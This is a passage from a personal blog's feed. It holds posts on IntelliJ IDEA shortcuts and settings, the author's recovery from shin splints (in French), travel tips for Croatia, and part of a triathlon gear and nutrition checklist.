&lt;li&gt;&lt;code&gt;Settings &amp;gt; Editor &amp;gt; General &amp;gt; Auto Import&lt;/code&gt;, check &lt;code&gt;Add unambiguous imports on the fly&lt;/code&gt; and &lt;code&gt;Optimize imports on the fly&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Settings &amp;gt; Editor &amp;gt; Tools &amp;gt; Actions on Save&lt;/code&gt;, check &lt;code&gt;Reformat code&lt;/code&gt;, &lt;code&gt;Optimize imports&lt;/code&gt;, &lt;code&gt;Rearrange code&lt;/code&gt; and &lt;code&gt;Run code cleanup&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="plugins"&gt;Plugins&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;File&lt;/code&gt; &amp;gt; &lt;code&gt;Settings&lt;/code&gt; &amp;gt; &lt;code&gt;Plugins&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SonarQube for IDE&lt;/code&gt; for code quality checks&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GitHub Copilot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[GitToolBox](https://plugins.jetbrains.com/plugin/7499-gittoolbox)&lt;/code&gt; for git blame on lines&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="common-shortcuts-as-of-april-2025"&gt;Common shortcuts (as of April 2025)&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+Enter&lt;/code&gt;&lt;/strong&gt;: Show Intention Actions &amp;amp; Quick Fixes. This is arguably the most crucial shortcut. It offers context-aware suggestions, from fixing errors and warnings to importing classes, generating code, and applying quick refactorings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Double Shift&lt;/code&gt;&lt;/strong&gt;: Search Everywhere. Quickly find files, classes, symbols, actions, settings, or even Git commits anywhere in your project or the IDE itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+J&lt;/code&gt;&lt;/strong&gt;: Equivalent of &lt;code&gt;Ctrl+D&lt;/code&gt; in VS Code ("Add Selection for Next Occurrence").&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Shift+A&lt;/code&gt;&lt;/strong&gt;: Find Action. If you know the name of an action (like "Reformat Code" or "Toggle Case") but not the shortcut, use this to find and execute it. It also shows the shortcut if one exists.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+B&lt;/code&gt; or &lt;code&gt;Ctrl+Click&lt;/code&gt;&lt;/strong&gt;: Go to Declaration or Usages. Navigate to the source declaration of a variable, method, or class. If used on the declaration itself, it finds usages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+F7&lt;/code&gt;&lt;/strong&gt;: Find Usages. Shows all places where the symbol under the caret is used throughout the project in the Find tool window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Alt+L&lt;/code&gt;&lt;/strong&gt;: Reformat Code. Automatically formats the current file or selected code block according to your project's code style settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+/&lt;/code&gt;&lt;/strong&gt;: Comment/Uncomment with Line Comment. Quickly comment or uncomment the current line or selected block using single-line comments (&lt;code&gt;//&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Shift+/&lt;/code&gt;&lt;/strong&gt;: Comment/Uncomment with Block Comment. Comment or uncomment the selected block using block comments (&lt;code&gt;/* ... */&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+W&lt;/code&gt; / &lt;code&gt;Ctrl+Shift+W&lt;/code&gt;&lt;/strong&gt;: Extend / Shrink Selection. Intelligently selects increasingly larger logical blocks of code (or shrinks the selection). Very useful for selecting statements, methods, or classes without using the mouse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+D&lt;/code&gt;&lt;/strong&gt;: Duplicate Line or Selection. Copies the current line (or selected block) and pastes it immediately below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Y&lt;/code&gt;&lt;/strong&gt;: Delete Line. Deletes the entire line where the caret is positioned.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Shift+F6&lt;/code&gt;&lt;/strong&gt;: Rename Refactoring. Safely rename variables, methods, classes, files, etc., updating all usages across the project.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Alt+M&lt;/code&gt;&lt;/strong&gt;: Extract Method Refactoring. Turns a selected block of code into a new method.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Alt+V&lt;/code&gt;&lt;/strong&gt;: Extract Variable Refactoring. Creates a new variable from a selected expression.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+E&lt;/code&gt;&lt;/strong&gt;: Recent Files. Shows a popup list of recently opened files for quick navigation. Press &lt;code&gt;Ctrl+E&lt;/code&gt; again to see only recently &lt;em&gt;changed&lt;/em&gt; files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+N&lt;/code&gt;&lt;/strong&gt;: Go to Class. Quickly navigate to any class definition by typing its name (CamelHumps matching works).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Shift+N&lt;/code&gt;&lt;/strong&gt;: Go to File. Quickly navigate to any file (not just classes) by typing its name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Shift+F10&lt;/code&gt;&lt;/strong&gt;: Run. Executes the current run/debug configuration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Shift+F9&lt;/code&gt;&lt;/strong&gt;: Debug. Starts debugging the current run/debug configuration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+1&lt;/code&gt;&lt;/strong&gt;: Toggle Project Tool Window. Shows or hides the Project view panel, typically used for navigating the file tree. &lt;code&gt;Esc&lt;/code&gt; usually returns focus to the editor from a tool window.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These shortcuts are based on the default Linux keymap in IntelliJ IDEA. You can customize these shortcuts in &lt;code&gt;Settings&lt;/code&gt; &amp;gt; &lt;code&gt;Keymap&lt;/code&gt;. Some shortcuts might conflict with global OS shortcuts (especially on certain Linux distributions); IntelliJ usually warns you about this and provides options to resolve conflicts.&lt;/p&gt;
&lt;h3 id="github-copilot-shortcuts"&gt;GitHub Copilot shortcuts&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Tab&lt;/code&gt;&lt;/strong&gt;: Accept the current inline suggestion. This is the primary way to insert the code Copilot suggests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Esc&lt;/code&gt;&lt;/strong&gt;: Dismiss the current inline suggestion. Use this if you don't want the suggestion and want to keep typing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+]&lt;/code&gt;&lt;/strong&gt;: Show the next inline suggestion. Cycles forward through alternative suggestions if Copilot has more than one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+[&lt;/code&gt;&lt;/strong&gt;: Show the previous inline suggestion. Cycles backward through alternative suggestions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Alt+\&lt;/code&gt;&lt;/strong&gt;: Trigger inline suggestion manually. If Copilot hasn't automatically shown a suggestion, or you dismissed one, this asks Copilot to provide one based on the current context. &lt;em&gt;Note: This shortcut might conflict with other IntelliJ or OS shortcuts and may need rebinding.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Right Arrow&lt;/code&gt;&lt;/strong&gt;: Accept the next word of the suggestion. Useful for accepting suggestions incrementally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+Enter&lt;/code&gt;&lt;/strong&gt; (or sometimes &lt;strong&gt;&lt;code&gt;Alt+Enter&lt;/code&gt;&lt;/strong&gt; - check your keymap): Open GitHub Copilot panel/tool window. Shows multiple suggestions (often up to 10) in a separate panel for comparison. &lt;em&gt;Note: &lt;code&gt;Alt+Enter&lt;/code&gt; is the default for IntelliJ's "Show Intention Actions", so &lt;code&gt;Ctrl+Enter&lt;/code&gt; might be the more likely default for this specific Copilot action, but it's best to verify in your Keymap settings under the action typically named &lt;code&gt;Open GitHub Copilot&lt;/code&gt; or similar.&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="Code"></category><category term="kotlin"></category><category term="java"></category><category term="code"></category></entry><entry><title>Périostite 2024</title><link href="https://romainpellerin.eu/periostite-2024.html" rel="alternate"></link><published>2024-06-24T18:00:00+02:00</published><updated>2025-03-01T01:15:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-06-24:/periostite-2024.html</id><summary type="html">&lt;p&gt;Après l'édition 2021 sur la jambe gauche, voici l'édition 2024 sur la jambe droite&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dans la famille des blessures en course à pied, je voudrais la périostite... déjà eue côté gauche ? Côté droit alors. 😊&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/M-LFEtmLnnA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="timeline"&gt;Timeline&lt;/h1&gt;
&lt;p&gt;Tout commence il y a un peu plus de 2 mois, juste après mon &lt;a href="https://romainpellerin.eu/lessons-learned-apres-4-ans-de-running.html"&gt;semi-marathon de début Avril&lt;/a&gt;. Mon premier souvenir ? Avoir eu mal dans les jours après le semi-marathon. Je ne crois pas avoir eu mal pendant la course, mais je n'en suis pas sûr.&lt;/p&gt;
&lt;p&gt;Après la course, j'enchaine directement et commence un entrainement "marathon" dans l'application Campus Coach. Pas de pause, j'ai repris la course dès le mercredi suivant, soit 72h après la course. Surêment là une erreur, et un facteur dans cette nouvelle périostite.&lt;/p&gt;
&lt;p&gt;24 avril, course de 5 kms courue à fond (3'55"/km). Presque pas de douleur pendant la course.&lt;/p&gt;
&lt;p&gt;Ensuite, début Mai, &lt;a href="https://romainpellerin.eu/spring-2024.html"&gt;S25 de Berlin, course de 25 kms&lt;/a&gt;. Entre le semi et les 25, la douleur a été présente, peu, et uniquement lors de mes sorties, mais elle a progressé. Pendant les 25 kms, je courrais à un bon rythme, autour de 4'35"/km, et étonnemment je n'ai presque rien senti pendant la course, sauf au début.&lt;/p&gt;
&lt;p&gt;Après S25, pareil, pas de pause, je reprends les entrainements dès le mardi suivant, soit 48h après 😱. Encore une erreur... sachant que je venais de battre mes PR coup sur coup (au semi, aux 5 et aux 25 kms). À partir de là, la douleur ne me quitte plus lors de mes sorties, survient même parfois en marchant ou en descendant des escaliers, et empire.&lt;/p&gt;
&lt;p&gt;Fin-mai, je coupe la course à pied 2 semaines complètes. Je ne sens plus rien, aucune douleur. Le premier weekend de Juin arrive et avec lui le triathlon de Berlin. Tout se passe bien lors de la course, je reprends par la suite les entrainements. Mais la douleur fait ensuite son retour dans les jours suivant, graduellement, un peu plus forte à chaque sortie.&lt;/p&gt;
&lt;p&gt;Jusqu'au vendredi 21 juin, où lors d'une sortie de 45 mins en endurance fondamentale, j'atteinds un seuil de douleur de 7 ou 8 sur 10, du jamais vu. Jusqu'alors je n'avais jamais dépassé 5 ou 6. Je décide de stopper ma sortie au bout de 27 minutes seulement, et commence une pause de 3 semaines.&lt;/p&gt;
&lt;h1 id="symptomes"&gt;Symptômes&lt;/h1&gt;
&lt;p&gt;Mes symptômes sont plutôt ceux classiques d'une périostite, même s'ils diffèrent pas mal de ma première périostite à l'autre jambe.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Douleur sur le coté intérieur du tibia de la jambe droite, sur une bande d'une dizaine de centimètres, plutôt vers le bas, qui parfois irradie dans tout le tibia, même du coté extérieur du tibia, et me donne une sensation de faiblesse dans la jambe lors de l'appui au sol.&lt;/li&gt;
&lt;li&gt;Parfois ça passe pendant la course, si j'accélère. Parfois, ça empire pendant la course.&lt;/li&gt;
&lt;li&gt;Je sens une légère douleur en descendant les escaliers.&lt;/li&gt;
&lt;li&gt;Les symptômes sont différents de ma &lt;a href="https://romainpellerin.eu/shin-splints.html"&gt;périostite de 2021&lt;/a&gt;, qui avait touché le tibia de la jambe gauche. À l'époque, la douleur avait été fulgurante et était apparue immédiatement en fin de sortie (une sortie de 21 kms 😨), rendant la marche impossible pendant une semaine. Avaient suivi 10 jours sans aucune activité sportive sauf du vélo, et puis disparition soudaine et complète de la douleur, sans qu'elle ne revienne jamais.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="causes"&gt;Causes ?&lt;/h1&gt;
&lt;p&gt;Impossible de savoir quoi exactement. Les facteurs sont sûrement multiples anyways.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nouvelles chaussures depuis fin 2023 (Asics Gel-Kayano 30). J'ai d'ailleurs couru le semi avec ça.&lt;/li&gt;
&lt;li&gt;Augmentation de ma dose de course à pied depuis cette même période, de manière assez rapide et significative.&lt;/li&gt;
&lt;li&gt;Pas de coupure/pause après le semi (2 jours off seulement) ni après les 25 kms (1 jour off). Stupide.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="next-steps"&gt;Next steps&lt;/h1&gt;
&lt;p&gt;J'ai déjà fait 2 semaines complètement off en Mai, la douleur était partie lors de la reprise, mais est revenue depuis, à chaque entrainement un peu plus forte. Je tente donc maintenant 3 semaines complètement off jusqu'à mi-Juillet, et je vais essayer de porter des manchons (ou chaussettes) de compression sur ce mollet aussi souvent que possible, en télé-travail, le weekend, etc. Je shift mon focus sur mon entrainement vélo en vue de Vélocity, une course de 100 kms à Berlin début Août. Je reprendrai la course à pied en Juillet, avec un manchon de compression, pour évaluer l'évolution de la douleur, et j'aviserai en fonction. Sûrement que les premières semaines de reprise se feront avec ce manchon de compression. Je mettrai à jour cet article selon l'évolution. Stay tuned ✌️.&lt;/p&gt;
&lt;h1 id="update-4-aout-2024"&gt;Update : 4 août 2024&lt;/h1&gt;
&lt;p&gt;Bon bah voilà, les 3 semaines de pause sont finies depuis un moment. État de lieux...&lt;/p&gt;
&lt;p&gt;La douleur est toujours là. Bien moins forte qu'avant. Je la sens peu ou pas en journée, sauf lorsque je descends des escaliers en début de journée. En ce qui concerne les runs, la douleur est en général présente dès les premières foulées, entre 2 et 4 sur une échelle de 10, et diminue voire disparait rapidement, tombant parfois à zéro. Je cours systématiquement avec le manchon de compression sur le mollet droit. En dehors des runs, je le porte aussi de temps en temps à la maison. Depuis quelques jours, je retente mon approche de 2021, à savoir j'enveloppe mon mollet dans une bande élastique et je serre assez fort, plus fort que si c'était le manchon de compression. C'est une bande assez large qui ne forme pas une boucle, à la base utilisée pour du pilates il me semble. On verra si c'est mieux que le manchon... En tout cas, depuis la reprise, la douleur n'augmente pas, bien qu'elle soit réapparue presque immédiatement dès le premier run après la coupure. J'ai recommencé un nouveau plan d'entrainement marathon sur 13 semaines, jusqu'à la course prévue en Octobre. Je ne compte pas l'interrompre ce coup-ci, tant que la douleur n'augmente pas, ou peu. Je m'accorderai tout le mois de Novembre off, et peut-être une bonne partie de Décembre, on verra. D'ici-là, j'espère que je me serai débarassé de cette périostite 🙏.&lt;/p&gt;
&lt;h1 id="update-7-septembre-2024"&gt;Update : 7 septembre 2024&lt;/h1&gt;
&lt;p&gt;Ça y est, enfin, après 5 mois, ma périostite est guerrie ! La douleur a disparu lors de la descente d'escaliers il y a 2 ou 3 semaines, après une nuit de sommeil de 11 heures... comme quoi le repos/la récupération est largement sous-estimée 😆 (ou alors aucun rapport...). La douleur a persisté à l'effort, au début et parfois en milieu de sortie, avec quelques pics brefs à 3 ou 4/10 en terme d'intensité de douleur. Et depuis une semaine et 50kms courus, aucune douleur, rien !&lt;/p&gt;
&lt;p&gt;Au final, qu'est ce que j'ai fait pour me soigner ? À part les manchons de compressions depuis début Juillet (portés en journée mais aussi et surtout pendant les runs), pas grand chose. Ce que je mentionnais au-dessus, envelopper le mollet dans une bande de plastique, je l'ai fait 3 ou 4 fois maximum, donc clairement c'est pas ça. J'ai fait gaffe à mes heures de sommeil depuis mi-août, en essayant d'avoir le plus souvent possible des nuits proches de 8h de sommeil, alors qu'en temps normal je tourne plutôt à 6-7 heures. Ou peut-être que c'est tout simplement le temps qui a fait son oeuvre, et que 5 mois pour soigner une périostite c'est une durée normale. 🤷 Anyways, un soucis de moins 😃 !&lt;/p&gt;
&lt;h1 id="articles-de-blog"&gt;Articles de blog&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://eric.siber.fr/2017/06/03/soigner-une-periostite-tibiale/"&gt;Cet excellent retour d'expérience&lt;/a&gt; suggère aussi une longue pause sans course à pied (3 semaines), l'utilisation de manchons de compression, de bande de kinesio tapping, et de la cryothérapie.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ikimashoo.fr/article-se-debarasser-durablement-de-la-periostite-77836497.html"&gt;Voici un autre excellent article&lt;/a&gt;, qui d'ailleurs donne une explication au fait que ma douleur disparaissait lorsque j'accélèrais en courant. Cet article conseille le glaçage de la zone douloureuse après les séances afin d'accélèrer la guérison. L'article conclue en disant qu'aller vers des chaussures plus minimalistes peut être une solution à long terme afin d'éviter ce genre de blessure.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lacliniqueducoureur.com/coureurs/je-suis-blesse/blessure-a-la-jambe/pathologies/syndrome-de-stress-tibial-mediale-periostite/syndrome-de-stress-tibial-mediale-periostite/"&gt;Un article par La Clinique Du Coureur&lt;/a&gt;, avec des conseils portant sur le taping et des exercices de renforcement (similaire au protocole de Stanish). La Clinique Du Coureur déconseille le glaçage (voir le PDF lié dans la page).&lt;/li&gt;
&lt;/ul&gt;</content><category term="Running"></category><category term="running"></category><category term="shin splints"></category><category term="health"></category></entry><entry><title>Croatia</title><link href="https://romainpellerin.eu/croatia.html" rel="alternate"></link><published>2024-06-07T02:00:00+02:00</published><updated>2024-06-07T10:52:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-06-07:/croatia.html</id><summary type="html">&lt;p&gt;Travel tips for Croatia&lt;/p&gt;</summary><content type="html">&lt;p&gt;I went this year for the first time of my life to Croatia. It is a beautiful country, that luckily for me recently changed its currency and adopted the euro. Unfortunately, this change came with major price hikes, confirmed by locals. Some items saw their prices double! Of course, the inflation that is currently hitting the Euro area did not help.&lt;/p&gt;
&lt;p&gt;Croatia is a very touristy country. I got to visit multiple places, some are traps for tourists, abandonned by locals, others maintain a good balance. Many cruise ships stop in Croatia for a few hours, so it's not uncommon to see waves of tourists fill the streets of any city in minutes. We've been told many times that July and August are hell months, there's just too many tourists, it becomes a nightmare. I went in May and it was already decently crowded.&lt;/p&gt;
&lt;p&gt;The sea water is crystal clear and pretty warm. In May, it was definitely swimmable, the temperature must have been close to 20°C.&lt;/p&gt;
&lt;h1 id="traveling-thoughout-the-country"&gt;Traveling thoughout the country&lt;/h1&gt;
&lt;p&gt;There are many ways to explore the country and go from city to city. But I found Croatia not so train-friendly, having few options to offer. Renting a car sounded like a viable option, but we opted for ferries and buses. They have many regular ferries that travel between major coastal cities, like from Split to Dubrovnik, multiple times a day, stopping along the way at every island, for less than 50 euros. The ferries travel really fast (lots of people got sick, myself included!). Most ferries are operated by TP-line or Krilo. Some bigger ferries will accept pedestrians AND cars.&lt;/p&gt;
&lt;p&gt;FlixBus and other local bus companies are also other popular means of transport in Croatia. Going from Zadar to the Plitvice lakes on a bus is very convenient, for instance.&lt;/p&gt;
&lt;h1 id="split"&gt;Split&lt;/h1&gt;
&lt;p&gt;Split is a lovely city, with a historical city center surrounded by walls that they call a palace. It's full of history, and you'll have no problem finding a walking tour. It's fairly crowded, but it's liveable, and you'll meet plenty of locals. Prices are ok-ish: expensive for locals, but affordable compared to Dubrovnik for example.&lt;/p&gt;
&lt;p&gt;Some scenes from Game of Thrones were shot there, so if that's your thing, you can follow a guide and embark on a GoT walking tour.&lt;/p&gt;
&lt;p&gt;Besides the palace, there is not much to do in Split. There is a park on a hill, that offers a nice view over the city. I would recommend to spend two full days in Split, not more.&lt;/p&gt;
&lt;h1 id="dubrovnik"&gt;Dubrovnik&lt;/h1&gt;
&lt;p&gt;Like Split, Dubrovnik is famous for its historical city center, also surrounded by walls, that you'll pay 35 euros to visit. Speaking of which, I recommend buying a daily &lt;a href="https://www.dubrovnikpass.com/"&gt;city pass&lt;/a&gt;, which costs exactly the same price (35 euros), but &lt;strong&gt;includes&lt;/strong&gt; a visit of the walls.&lt;/p&gt;
&lt;p&gt;Besides the historical city center, there is nothing of interest outside the walls. Dubrovnik was bombed and very much destroyed in the 90's, so the popularity of the city is very recent. But it has gained so much popularity in so little time that every shop owner went crazy. Prices are insane. Any main course in a restaurant is &lt;strong&gt;at least&lt;/strong&gt; 15 euros, most being around 20-25 euros. Margins on drinks are also ridiculous. It's common to get a glass of "house red wine" for 8 or 10 euros (which 90% of the time will be pretty bad).&lt;/p&gt;
&lt;p&gt;Dubrovnik is loved by old people, visiting the city in massive groups. Most restaurants are open from 8:00 in the morning until 23:00 or midnight. No locals live in the historic city center. Souvenirs are ridiculously priced too: any mug sells for 20 euros, Game of Thrones pints for 90 euros (not joking).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Me on a filming location" src="https://romainpellerin.eu/images/croatia/dubrovnik.jpg"&gt;&lt;/p&gt;
&lt;p&gt;However, I highly recommend joining a Game of Thrones tour. They last 2 hours, are not so expensive, and will take you everywhere in the city, in major filming locations of the series (the shame stairs, the place where Geoffrey celebrated its name day, and many others).&lt;/p&gt;
&lt;h1 id="hvar"&gt;Hvar&lt;/h1&gt;
&lt;p&gt;Hvar is the party island of Croatia. They nickname the town Hvar the "Saint-Tropez of Croatia". You'll see many young and/or rich people, well dressed at night, partying. Prices are very high there too, you can easily find &lt;a href="https://maps.app.goo.gl/kGz3pL5gnrnBbM9J9"&gt;cocktails for 20 euros&lt;/a&gt;. Just enjoy the sea and the nature, and go out at night if you're in the mood.&lt;/p&gt;
&lt;h1 id="zadar"&gt;Zadar&lt;/h1&gt;
&lt;p&gt;Pretty nice city, quite similar to Split, albeit less touristy and more reasonably priced. Locals are very nice, the city is lively and has a few nice beaches. The historical city center is small but nice to explore. 2 maybe 3 full days there will be enough. But while you are there, you should consider spending a full day at the Plitvice lakes, since they're not far and easily reachable by car or bus.&lt;/p&gt;
&lt;h1 id="plitvice-lakes"&gt;Plitvice lakes&lt;/h1&gt;
&lt;p&gt;&lt;img alt="Plitvice Lakes" src="https://romainpellerin.eu/images/croatia/plitvice.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The Plitvice Lakes National Park is a marvel! It's a park made of multiple clear blue lakes, on different levels (different heights), waterfalls, full of thriving life. You'll see fish, snakes, birds, ducks, frogs... The color of these lakes is out of this world. And they take every measure to preserve the park and protect it. There are multiple trails one can follow, with some segments taken on boat or bus. 100% recommended.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Travels"></category><category term="croatia"></category><category term="travel"></category></entry><entry><title>Triathlon: Checklist</title><link href="https://romainpellerin.eu/triathlon-checklist.html" rel="alternate"></link><published>2024-06-02T20:00:00+02:00</published><updated>2025-06-07T16:52:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-06-02:/triathlon-checklist.html</id><summary type="html">&lt;p&gt;My checklist of things to take for a triathlon&lt;/p&gt;</summary><content type="html">&lt;h1 id="hydration-strategy"&gt;💧 Hydration strategy&lt;/h1&gt;
&lt;h2 id="bike"&gt;Bike&lt;/h2&gt;
&lt;p&gt;That's something that needs to be figured weeks in advance, in case additional equipment is required. Multiple things to consider:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grabbing bidons (water bottles) from volunteers at aid stations can be tricky, &lt;a href="https://www.instagram.com/reel/DIDstmxttmD"&gt;bidons are hard to grab even at low speed&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.canyon.com/en-de/gear/accessories/bike-accessories/cycling-water-bottle/canyon-fuel-aero-bottle/9102280.html"&gt;Aero bidons&lt;/a&gt; are not necessarily a good idea since you cannot swap the bidons with standard bidons during the ride, if you run out of water. I believe they're only appropriate for olympic distance triathlons or shorter.&lt;/li&gt;
&lt;li&gt;Bidons can be stored in the frame (2 bidons maximum), between the aero bars (usually 1, sometimes 2 bidons) or behind the saddle (2 bidons maximum, maybe 3?).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.canyon.com/en-de/gear/accessories/bike-accessories/cycling-water-bottle/canyon-speedmax-hydration-system/10014133.html"&gt;Fully integrated hydration systems&lt;/a&gt; exist but the aero gain is very marginal, and those systems are expensive. Also, they need to be refilled, they cannot be swapped during the race like bidons.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Considering that it's hard to predict how much water one will drink, it's best to ensure to be able to swap empty bottles with new ones. Also, because of the difficulty of grabbing bottles, it's probably best to carry all the water/energy drinks one will need. Therefore, my recommendation would be to store two standards bidons in the frame, and one additional bottle behind the saddle for a 70.3. For a full IronMan, I'd probably consider 4 in total (2 in the frame, 2 behind the saddle). Trading empty bottles for full ones will always remain an option in case of hot weather.&lt;/p&gt;
&lt;h2 id="run"&gt;Run&lt;/h2&gt;
&lt;p&gt;Grab water cups from aid stations.&lt;/p&gt;
&lt;h1 id="nutrition-strategy"&gt;🌮 Nutrition strategy&lt;/h1&gt;
&lt;h2 id="bike_1"&gt;Bike&lt;/h2&gt;
&lt;p&gt;Needs: &lt;strong&gt;90 grams of carbs per hour - not more (I tried...)&lt;/strong&gt;&lt;br&gt;
For example on a 70.3, with a goal time of 2h30, total needs = 90*2.5 = 225 grams&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2x 950-ml water bottles with 1x Maurten Drink Mix 320 in each = 2*78g = 156g&lt;/li&gt;
&lt;li&gt;(3x Maurten 100 gel) OR (2x Maurten 100 gel + 1 energy bar) = 3*25g = 75g&lt;/li&gt;
&lt;li&gt;= 231g&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="run_1"&gt;Run&lt;/h3&gt;
&lt;p&gt;Needs: &lt;strong&gt;your weight in grams per hour&lt;/strong&gt;&lt;br&gt;
For example, you weight 75 kgs, aim for 75 grams of carbs per hour, or 3 Maurten 100 gels per hour.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4x Maurten 100 gels on a 70.3 if aiming for ~1h30&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="to-change-on-the-bike-weeks-ahead-of-the-race"&gt;📅 To change on the bike weeks ahead of the race&lt;/h1&gt;
&lt;p&gt;Depends on the condition, everything listed below may not need to be replaced. Make sure to ride a few times with the new gear.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New cleats &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;&lt;a href="https://road.shimano.com/us/stories/what-shimano-road-cleat-is-right-for-you"&gt;Yellow Shimano SPD-SL cleats&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New brake/disc pads &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Classic pads, or &lt;a href="https://amzn.eu/d/27LHebO"&gt;OXiC-specific ones&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New tires &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Mandatory: you don't want a puncture&lt;br /&gt;Continental Grand Prix 5000 (&lt;a href="https://www.reddit.com/r/cycling/comments/1735wma/continental_gp_5000_s_tr_or_gp_5000/"&gt;not the S TR version&lt;/a&gt; nor &lt;a href="https://www.reddit.com/r/cycling/comments/15msva0/tubeless_conti_gp_5000_s_vs_as_whats_the/"&gt;the AS TR version&lt;/a&gt;)&lt;br /&gt;Size 25-622 (ETRTO)&lt;br /&gt;&lt;a href="https://amzn.eu/d/jcn4Tni"&gt;Amazon&lt;/a&gt; &lt;a href="https://www.bike24.com/p2305160.html"&gt;Bike24&lt;/a&gt;.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New shift cables&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New chain &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Shimano CN-HG701-11 (116 links)&lt;br /&gt;CN-HG601-11 is standard for 105,&lt;br /&gt;but CN-HG701-11 is slightly better performance-wise.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New cassette &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Shimano 105 CS-R7000 11-speed, 11-32&lt;br /&gt;&lt;a href="https://www.bike24.com/p2271410.html"&gt;Bike24&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.reddit.com/r/cycling/comments/b5to2b/time_to_replace_my_crank_set_and_cassette_pics/"&gt;When to replace?&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
